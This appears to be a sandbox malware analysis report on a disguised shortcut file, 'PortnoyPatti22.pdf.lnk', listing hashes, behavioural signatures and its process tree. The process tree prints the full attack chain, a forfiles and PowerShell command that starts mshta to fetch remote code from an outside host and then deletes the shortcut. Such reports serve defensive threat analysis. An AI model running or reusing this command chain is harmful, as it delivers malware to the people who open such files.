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Analysis
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max time kernel
149s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
12/03/2024, 13:53
Static task
static1
Behavioral task
behavioral1
Sample
PortnoyPatti22.pdf.lnk
Resource
win10v2004-20240226-en
General
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Target
PortnoyPatti22.pdf.lnk
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Size
5KB
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MD5
f5dcd8d6e15a1893bfbde898c31aad3f
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SHA1
745733e2269b92e625d705e2c9da8b0f4b46afed
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SHA256
840da5eb639d739bd4e957e0e020821b8436f3e1816bbcb3744a8ae4960e2e9a
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SHA512
72e9655e430eecc2588775aeaed4962fd633d6f411b0d1f488dfc382a6b2e5f039f883a75d587293ec394efd643dd9eddffbc3b367c7d2ae0245481edd92e95d
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SSDEEP
24:8WEeO2d+aV9pyAnc8Pkr+/4l+nQ6wY4XYBdd79dsVvNyvNeab4QCmo:8WEP2zncF1dY4IBdJ98KcakQC
Malware Config
Extracted
http://fromatodor.com/PPortnoy
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 8 3540 mshta.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4852 powershell.exe 4852 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4852 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1632 wrote to memory of 1248 1632 cmd.exe 89 PID 1632 wrote to memory of 1248 1632 cmd.exe 89 PID 1248 wrote to memory of 4852 1248 forfiles.exe 90 PID 1248 wrote to memory of 4852 1248 forfiles.exe 90 PID 4852 wrote to memory of 3540 4852 powershell.exe 91 PID 4852 wrote to memory of 3540 4852 powershell.exe 91
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\PortnoyPatti22.pdf.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1632 -
C:\Windows\System32\forfiles.exe"C:\Windows\System32\forfiles.exe" /p C:\Windows\Vss /c "powershell start mshta http://fromatodor.com/PPortnoy;$VRPJ = Get-Location;$VRPJ = Join-Path $VRPJ 'PortnoyPatti22.pdf.lnk';del $VRPJ2⤵
- Suspicious use of WriteProcessMemory
PID:1248 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exestart mshta http://fromatodor.com/PPortnoy;$VRPJ = Get-Location;$VRPJ = Join-Path $VRPJ 'PortnoyPatti22.pdf.lnk';del $VRPJ3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4852 -
C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" http://fromatodor.com/PPortnoy4⤵
- Blocklisted process makes network request
PID:3540
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82